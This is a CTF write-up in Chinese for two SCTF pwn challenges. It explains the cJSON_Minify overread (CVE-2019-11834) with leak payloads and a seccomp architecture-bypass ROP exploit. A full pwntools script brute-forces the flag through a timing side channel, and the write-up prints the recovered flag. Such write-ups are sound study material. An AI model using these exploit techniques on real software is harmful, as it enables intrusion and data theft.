dataleak

给的共享库是libcjson.so.1.7.10
https://github.com/DaveGamble/cJSON/releases
看到1.7.11版本修复了缓冲区溢出漏洞
对应CVE-2019-11834

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
CJSON_PUBLIC(void) cJSON_Minify(char *json)
{
unsigned char *into = (unsigned char*)json;

if (json == NULL)
{
return;
}

while (*json)
{
if (*json == ' ')
{
json++;
}
else if (*json == '\t')
{
/* Whitespace characters. */
json++;
}
else if (*json == '\r')
{
json++;
}
else if (*json=='\n')
{
json++;
}
else if ((*json == '/') && (json[1] == '/'))
{
/* double-slash comments, to end of line. */
while (*json && (*json != '\n'))
{
json++;
}
}
else if ((*json == '/') && (json[1] == '*'))
{
/* multiline comments. */
while (*json && !((*json == '*') && (json[1] == '/')))
{
json++;
}
json += 2;
}
else if (*json == '\"')
{
/* string literals, which are \" sensitive. */
*into++ = (unsigned char)*json++;
while (*json && (*json != '\"'))
{
if (*json == '\\')
{
*into++ = (unsigned char)*json++;
}
*into++ = (unsigned char)*json++;
}
*into++ = (unsigned char)*json++;
}
else
{
/* All other characters. */
*into++ = (unsigned char)*json++;
}
}

/* and null-terminate. */
*into = '\0';
}

可以看到,cJSON_Minify 中如果检测到字符’ ‘,’\t’, ‘\r’, ‘\n’则指针前移
如果检测到//则说明这一行是注释,指针前移到行末的回车
如果检测到\*说明遇到多行注释,会将指针前移直到遇到’*/‘,然后一次性前移两格
其他情况都会记录下来

上面提到的对多行注释的处理存在漏洞,程序只考虑了正确的多行注释写法的处理方式,但如果只用了/*却不使用*/,则会一直将指针前移直到指向空字符,然后再前移两格

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-54h]
__int64 buf[2]; // [rsp+10h] [rbp-50h] BYREF
__int64 v5[2]; // [rsp+20h] [rbp-40h] BYREF
char v6[40]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+58h] [rbp-8h]

v7 = __readfsqword(0x28u);
for ( i = 0; i <= 1; ++i )
{
strcpy(v6, "this_is_data_in_server");
v6[24] = 0;
buf[0] = 0LL;
buf[1] = 0LL;
v5[0] = 0LL;
v5[1] = 0LL;
read(0, buf, 0xEuLL);
read(0, v5, 0xEuLL);
cJSON_Minify(buf);
write(1, v5, 0xBuLL);
}
exit(0);
}

栈结构如下

1
2
3
4
5
6
7
8
9
-0000000000000055                 db ? ; undefined
-0000000000000054 var_54 dd ?
-0000000000000050 buf dq ?
-0000000000000048 var_48 dq ?
-0000000000000040 v5 dq ?
-0000000000000038 var_38 dq ?
-0000000000000030 v6 db 24 dup(?)
-0000000000000018 var_18 db ?
-0000000000000017 db ? ; undefined

给buf读了0xe个字节,再给v5读了0xe个字节,然后调用cJSON_Minify处理buf,最后输出v5。想要获得的是v6的数据

所以要做的是通过构造payload让函数中的*into指针在v5的位置记录下v6的内容,由于一次只允许输出11字节数据,需要泄露的诗句22字节,所以需要调整两次利用中指针的位置,一次一半将数据泄露出来。

最后打服务器就是泄露出相应数据再发过去就行

payload

1
2
3
4
r.send("aaaa/*aaaaaaaa")
r.send("aaaaaaaaaaaa/*")
r.send("/*aaaaaaaaaaaa")
r.send("aaaaa/*aaaaaaa")

gadget

程序给了一个裸的栈溢出

只允许fstatreadalarm三个系统调用
但没有检查架构

1
2
3
4
5
6
7
8
9
10
ayoung@ubuntu:~/pwn/sctf$ seccomp-tools dump ./gadget 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005
0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006
0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006
0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW

32位下系统调用号5对应open
再找一下程序里正好有retf/retfq能够转换架构,也有int 0x80进行系统调用
没有write,就只能考虑侧信道输出flag

官方wp使用的方法是将flag的每一位通过gadget转换为rdi,调用alarm然后跳死循环,通过计算程序崩掉的时间得到flag内容(学到了)
转换为rdi的过程是利用了出题人自己加入的gadget,要先将rbx内容清空

1
2
3
4
.text:00000000004011BE                 mov     bl, [rsi+rax]
.text:00000000004011C1 mov rdi, rbx
.text:00000000004011C4 push r14
.text:00000000004011C6 retn

还有一种做法是利用一处神奇的gadget0x408F72
在这之前让r15+0x38指向我们猜测的字符,控制flag读入的位置并通过调用read让执行pop rax的时候栈顶只存在一个字符
比较的结果影响cmovnz的行为
如果相等则不动,eax覆盖ecx
如果不等则ecx覆盖eax

所以如果不相等,ecx=eax=0xcd2cfca4
如果相等,eax=ecx=0xdf6f8009
相等最后会进入死循环,不等则炸掉,从而侧信道泄露flag

1
2
3
4
5
.text:0000000000408F72                 cmp     rax, [r15+38h]
.text:0000000000408F76 mov eax, 0CD2CFCA4h
.text:0000000000408F7B mov ecx, 0DF6F8009h
.text:0000000000408F80 cmovnz eax, ecx
.text:0000000000408F83 jmp loc_409269

(蛮多跳转的就不多贴了)

exp

第二种做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import*
context(os='linux')#, log_level='debug')

prax_r = 0x0000000000401001
prdi_rbp_r = 0x0000000000401734
prsi_r15_rbp_r = 0x0000000000401732
prsp_r14_r15_rbp_r = 0x0000000000401730
prcx_r = 0x000000000040117b
syscall = 0x0000000000401165
retf = 0x00000000004011ed
bss_addr = 0x40c000+6000
mov_edx_syscall = 0x401195
read_sys = 0x401170
sys_r = 0x0000000000405640
ret = 0x0000000000401002
meax_edi_r= 0x406748
gadget = 0x40172b
int80 = 0x00000000004011f3
pr15_rbp_r = 0x0000000000401733
dead_loop = 0x40A765
cmpa = 0x408F72

flag=''
while True:
for offset in range(0x20):
for ch in range(0x21, 0x7e+1):
print (offset,chr(ch))
r = remote('121.37.135.138',2102)
# r = process('./gadget')
pay = b'A'*0x30+b'B'*8
pay+= p64(prdi_rbp_r)+p64(bss_addr)+p64(bss_addr+0x20)+p64(read_sys)
pay+= p64(prdi_rbp_r)+p64(5)+p64(bss_addr+0x20)
pay+= p64(meax_edi_r)
pay+= p64(prsi_r15_rbp_r)+p64(bss_addr+0x200)+p64(bss_addr+0x20)*2
pay+= p64(prcx_r)+p64(0xfffffffd)
pay+= p64(retf)+p32(gadget)+p32(0x23)
pay = pay.ljust(0xc0, b'A')


x86_prdi_rbp_r = 0x401734
x86_p3_r = 0x401733
p = 0x401731
prbx_pr14_pr15_prbp_r = 0x0000000000403072
# gdb.attach(r)
r.send(pay)


payload2 = p32(bss_addr+0xb8)+p32(bss_addr)+p32(0)
payload2+= p32(int80)+p32(ret)
payload2+= p32(retf)+p32(ret)+p32(0x33)

payload2+= p64(prax_r)+p64(0)
payload2+= p64(prdi_rbp_r)+p64(0)+p64(0)
payload2+= p64(prsi_r15_rbp_r)+p64(bss_addr+1100)+p64(0)+p64(bss_addr+1100)
payload2+= p64(0x401195)+p64(0)
payload2+= p64(prax_r)+p64(0)
payload2+= p64(prsp_r14_r15_rbp_r)+p64(bss_addr+1100)

payload2=payload2.ljust(0xb8, b'\x00')
payload2+= b'flag\x00'
payload2=payload2.ljust(0xc0, b'\x00')
r.send(payload2)

payload3= p64(0)*3+p64(prdi_rbp_r)+p64(3)+p64(0)
payload3+= p64(prsi_r15_rbp_r)+p64(bss_addr+1000)+p64(0)*2+p64(syscall)
payload3+= p64(0)
payload3+= p64(prdi_rbp_r)+p64(bss_addr+1000+offset+1)+p64(0)+p64(read_sys)
payload3+= p64(prsi_r15_rbp_r)+p64(0)+p64(bss_addr+1000-0x38+offset)+p64(0)
payload3+= p64(prax_r)+p64(ch)+p64(cmpa)
payload3= payload3.ljust(0xc0,b'\x00')
r.send(payload3)

payload4= p64(0)*4
r.send(payload4)

try:
r.recv(timeout=1)
except:
r.close()
continue
else:
flag += chr(ch)
print ('flag ==> ',flag)
r.close()
break
if(chr(ch)=='}'):
break
print (flag)
exit()

#SCTF{woww0w_y0u_1s_g4dget_m45ter}

先鸽